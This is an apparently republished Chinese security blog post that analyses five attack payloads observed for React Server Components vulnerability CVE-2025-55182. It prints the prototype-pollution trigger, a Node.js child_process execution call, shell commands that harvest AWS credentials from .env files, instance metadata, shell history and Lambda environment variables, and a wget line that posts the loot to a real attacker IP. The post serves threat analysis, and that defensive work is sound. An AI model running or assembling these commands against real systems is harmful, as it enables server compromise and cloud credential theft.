文章总结: 文章详细介绍了React服务器组件漏洞CVE-2025-55182的五种攻击payload,每种payload都通过原型链污染触发远程代码执行,进而窃取AWS环境中的敏感信息。攻击分为四个阶段:原型链污染、代码执行、敏感信息收集和数据外泄。文章分析了针对不同AWS环境的攻击方式,包括配置文件、元数据服务、命令历史和Lambda环境。建议开发者检查React服务器组件配置,避免原型链污染漏洞,并加强AWS凭据管理。 综合评分: 87 文章分类: 漏洞分析,漏洞POC,WEB安全,云安全,渗透测试
React服务器组件漏洞(CVE-2025-55182)最新攻击payload
原创
小话安全
小话安全
2025年12月16日 10:05 山东
攻击payload一
上述攻击payload的含义
高级的JavaScript原型链污染攻击载荷,用于窃取AWS相关环境变量和配置文件。
{"then": "$1:__proto__:then", "_formData": {"get": "$1:constructor:constructor"}}
- 利用原型链污染:污染JavaScript对象的原型链
- 目的:篡改对象行为,为后续代码执行创造条件
- 技术:通过
__proto__修改then属性,劫持Promise链
2. 第二阶段:命令执行(利用Node.js RCE)
process.mainModule.require('child_process').execSync('...')
- 远程代码执行:通过Node.js的
child_process执行系统命令 - 权限:以Node.js进程的权限执行(可能是高权限)
3. 第三阶段:敏感信息窃取
窃取目标:
-
.env文件:包含AWS凭据的环境变量文件查找包含
aws、AKIA、key、secret、access等关键词的敏感信息 -
.env.local文件:本地环境配置 -
.env.production文件:生产环境配置
具体执行的Shell命令:
# 输出标识信息echo "=== URL: https://www.abc.cn ==="echo "=== AWS ENV FILES ==="
# 1. 查找主.env文件中的AWS凭据echo "--- .env (AWS filtered) ---"cat ./.env 2>/dev/null | grep -iE "(aws|AKIA|key|secret|access)" || cat ./.env 2>/dev/null || echo "[NOT FOUND]"
# 2. 查找.env.local文件echo "--- .env.local ---"cat ./.env.local 2>/dev/null | grep -iE "(aws|AKIA)" || echo "[NOT FOUND]"
# 3. 查找.env.production文件echo "--- .env.production ---"cat ./.env.production 2>/dev/null | grep -iE "(aws|AKIA)" || echo "[NOT FOUND]"
4. 第四阶段:数据外泄
| wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
- 数据传输:将所有收集到的数据发送到攻击者服务器
195.178.110.223:8001 - 使用wget:通过HTTP POST发送数据
- 隐蔽性:数据通过HTTP协议传输,可能绕过简单的网络监控
攻击流程
原型链污染 → 触发代码执行 → 执行系统命令 → 收集敏感文件 → 数据外泄
可能窃取的敏感信息
AWS凭据:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKENAWS_REGIONAWS_DEFAULT_REGION
攻击payload二
核心攻击功能
这是一个专门化的AWS凭据搜索攻击,主要目标是:
1. 第一阶段:原型链污染攻击
{"then": "$1:__proto__:then", "_formData": {"get": "$1:constructor:constructor"}}
- 利用JavaScript原型链漏洞
- 污染
then属性:为后续Promise劫持创造条件 - 构造函数篡改:通过
constructor进行更深层的控制
2. 第二阶段:远程代码执行(RCE)
process.mainModule.require('child_process').execSync('...')
- 执行系统命令:利用Node.js的child_process模块
- 高权限执行:以应用进程权限运行系统命令
3. 第三阶段:AWS凭据全面搜索
搜索模式一:AKIA模式(主攻)
- 目标:查找AWS访问密钥ID
- 模式:
AKIA+ 16位大写字母或数字(标准AWS Access Key格式) - 文件类型:搜索9种常见配置文件类型
- 限制:只显示前30个匹配项
搜索模式二:AWS关键字模式
- 目标:查找AWS相关的环境变量名
- 模式:不区分大小写的正则表达式
- 文件类型:3种核心配置文件类型
4. 第四阶段:数据外泄
| wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
- 传输方式:HTTP POST请求
- 目标服务器:
195.178.110.223:8001 - 隐蔽传输:将所有搜索结果发送到攻击者控制的服务器
攻击特点分析
1. 高度针对性
- 专门针对AWS凭据:AKIA是AWS IAM用户的访问密钥前缀
- 精确的模式匹配:使用正则表达式
AKIA[0-9A-Z]{16}(有效AWS Key格式) - 覆盖常见位置:搜索项目根目录下的所有相关文件
2. 搜索范围广泛
覆盖的文件类型:
- 配置文件:
.env,.json,.yml,.yaml,.config - 源代码文件:
.js,.ts - 文本文件:
.txt
3. 智能过滤
- 错误抑制:
2>/dev/null隐藏错误信息 - 结果限制:
head -30/head -20防止输出过大 - 优雅降级:
|| echo "[NONE]"提供清晰的反馈
可能发现的敏感信息
AWS访问密钥:
text
AKIAIOSFODNN7EXAMPLE # AWS Access Key ID
攻击payload三 这行代码是一个针对AWS云环境的完整元数据窃取攻击载荷**。相比之前的版本,这个攻击更全面、更系统化。 *核心攻击功能* 这是一个四阶段攻击链: 1. 第一阶段:JavaScript原型链污染 javascript {"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}} 污染then属性:劫持Promise链执行流程 篡改构造函数:获得更深层的JavaScript控制权 2. 第二阶段:Node.js远程代码执行 javascript process.mainModule.require('child_process').execSync('...') 执行Shell命令:利用Node.js的child_process模块 系统级权限:以应用程序权限执行任意命令 3. 第三阶段:AWS元数据全面窃取*攻击目标:AWS实例元数据服务(IMDS) * IP地址:169.254.169.254(AWS元数据服务的链路本地地址) * 目的:获取EC2实例的所有配置和凭据信息 双重攻击策略: A. 先尝试IMDSv1(无令牌验证) bash # 测试IMDSv1是否可用curl-s-m2 http://169.254.169.254/latest/meta-data/# 如果可用,获取以下信息:1. 实例身份文档(含账户ID、实例ID等)2. IAM角色名称3. IAM临时凭据(访问密钥、密钥、令牌)4. 用户数据(启动脚本)5. 主机名和网络信息6. 实例配置(AMI ID、类型、安全组等)7. 区域和可用区信息 B. 再尝试IMDSv2(令牌验证) bash # 获取IMDSv2令牌TOKEN=$(curl-s-m2-X PUT "http://169.254.169.254/latest/api/token"-H"X-aws-ec2-metadata-token-ttl-seconds: 21600")# 使用令牌获取相同信息curl-H"X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/... 4. 第四阶段:数据外泄 bash |wget --post-data="$(cat -)" -O- http://195.178.110.223:8001 发送到:攻击者控制的服务器195.178.110.223:8001 传输方式:HTTP POST请求 具体窃取的数据类型*1. 身份和凭据信息 * IAM角色临时凭据:可访问AWS API的完整凭据 * 实例身份文档:包含AWS账户ID、实例ID、区域等 * IAM角色名称:实例附加的IAM角色 2. 网络和基础设施信息 * 公网/私网IP地址 * 主机名 * MAC地址 * 安全组配置 3. 实例配置信息 * AMI ID:亚马逊机器映像ID * 实例类型(如t2.micro, m5.large等) * 区域和可用区(如us-east-1a) 4. 启动配置 * 用户数据:实例启动时执行的脚本,可能包含敏感信息 攻击payload四**
专门用于窃取用户命令行历史中AWS相关信息的攻击载荷。
核心攻击功能
这是一个针对性极强的历史命令分析攻击,主要目标是:
1. 第一阶段:原型链污染攻击
javascript
{"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}}
污染原型链:篡改JavaScript对象的原型
劫持Promise:通过then属性控制异步执行流程
深度控制:利用constructor进行更底层的操作
2. 第二阶段:远程代码执行
javascript
process.mainModule.require('child_process').execSync('...')
执行Shell命令:以Node.js应用权限执行系统命令
无限制访问:可以读取用户主目录下的敏感文件
3. 第三阶段:Shell历史命令分析
攻击目标:Shell命令历史文件
攻击者搜索三个关键位置,寻找AWS相关的敏感信息:
A. bash历史文件中的AWS命令
bash
grep-i aws ~/.bash_history 2>/dev/null |tail-50
搜索内容:所有包含"aws"(不区分大小写)的命令
限制结果:只显示最后50条相关命令
目标:查找用户执行过的AWS CLI命令
B. bash历史文件中的AKIA密钥
bash
grep"AKIA" ~/.bash_history 2>/dev/null |tail-20
精准搜索:查找包含"AKIA"(AWS访问密钥前缀)的命令
高价值目标:可能包含硬编码的AWS凭据
限制结果:只显示最后20条匹配项
C. zsh历史文件中的AWS命令
bash
grep-i aws ~/.zsh_history 2>/dev/null |tail-50
多Shell支持:同时检查zsh用户的历史记录
全面覆盖:确保不会遗漏使用zsh的用户
4. 第四阶段:数据外泄
bash
|wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
发送到C2服务器:195.178.110.223:8001
POST传输:通过HTTP发送窃取的数据
可能窃取的敏感信息类型
1. AWS CLI命令中的硬编码凭据
bash
# 攻击者可能找到的命令示例:aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE aws s3 ls--profile myprofileexportAWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
2.包含敏感信息的命令
bash
# 可能的发现:curl-H"Authorization: AWS4-HMAC-SHA256 Credential=AKIA..."...echo"AKIAIOSFODNN7EXAMPLE"> credentials.txtscp-i ~/.ssh/key.pem [email protected]:~
3. 运维和部署脚本
bash
# 基础设施信息:aws ec2 describe-instances --region us-east-1 aws s3 cp s3://bucket/config.env .aws rds describe-db-instances
4. 调试和测试命令
bash
# 开发/测试命令:aws sts get-caller-identity aws iam list-users aws cloudformation describe-stacks
为什么Shell历史如此危险?
历史文件的特性:
- 持久存储:默认保存大量历史命令
- 包含敏感信息:用户经常在命令行中输入密码、密钥等
- 缺乏加密:以明文形式存储在磁盘上
- 权限宽松:通常用户可读,应用可能有权访问
常见的安全隐患:
bash
# 危险但常见的操作:1. 在命令行中直接输入密码:mysql -u root -p'password123'2. 复制粘贴API密钥:export API_KEY="sk_live_xxxxxxxx"3. 执行包含凭据的curl命令4. 将敏感信息输出到终端
#### 攻击payload五
专门针对AWS Lambda环境的凭据窃取攻击载荷。
核心攻击功能
这是一个针对无服务器环境的精准攻击,专门设计在AWS Lambda函数中执行:
1. 第一阶段:原型链污染攻击
javascript
{"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}}
利用JavaScript漏洞:污染对象的原型链
劫持执行流程:通过then属性控制异步操作
深度控制:篡改构造函数进行底层操作
2. 第二阶段:Lambda环境探测
javascript
process.mainModule.require('child_process').execSync('...')
执行系统命令:在Lambda执行环境中运行Shell命令
利用容器环境:Lambda运行在容器中,支持有限的Shell命令
3. 第三阶段:Lambda特定信息收集
A. 环境变量侦察
bash
env|grep-E"(AWS_|LAMBDA_)"2>/dev/null
搜索模式:所有以AWS_或LAMBDA_开头的环境变量
目的:判断当前是否在Lambda环境中,并收集Lambda配置信息
B. Lambda凭据直接获取
bash
echo"AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"echo"AWS_SECRET_ACCESS_KEY: $AWS_SECRET_ACCESS_KEY"echo"AWS_SESSION_TOKEN: $AWS_SESSION_TOKEN"
直接读取:Lambda运行时自动注入的临时凭据
高价值目标:这些是Lambda执行角色的临时安全凭据
4. 第四阶段:数据外泄
bash
|wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
发送到攻击者服务器:195.178.110.223:8001
HTTP POST传输:窃取的数据被立即发送
查看原文:《React服务器组件漏洞(CVE-2025-55182)最新攻击payload》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论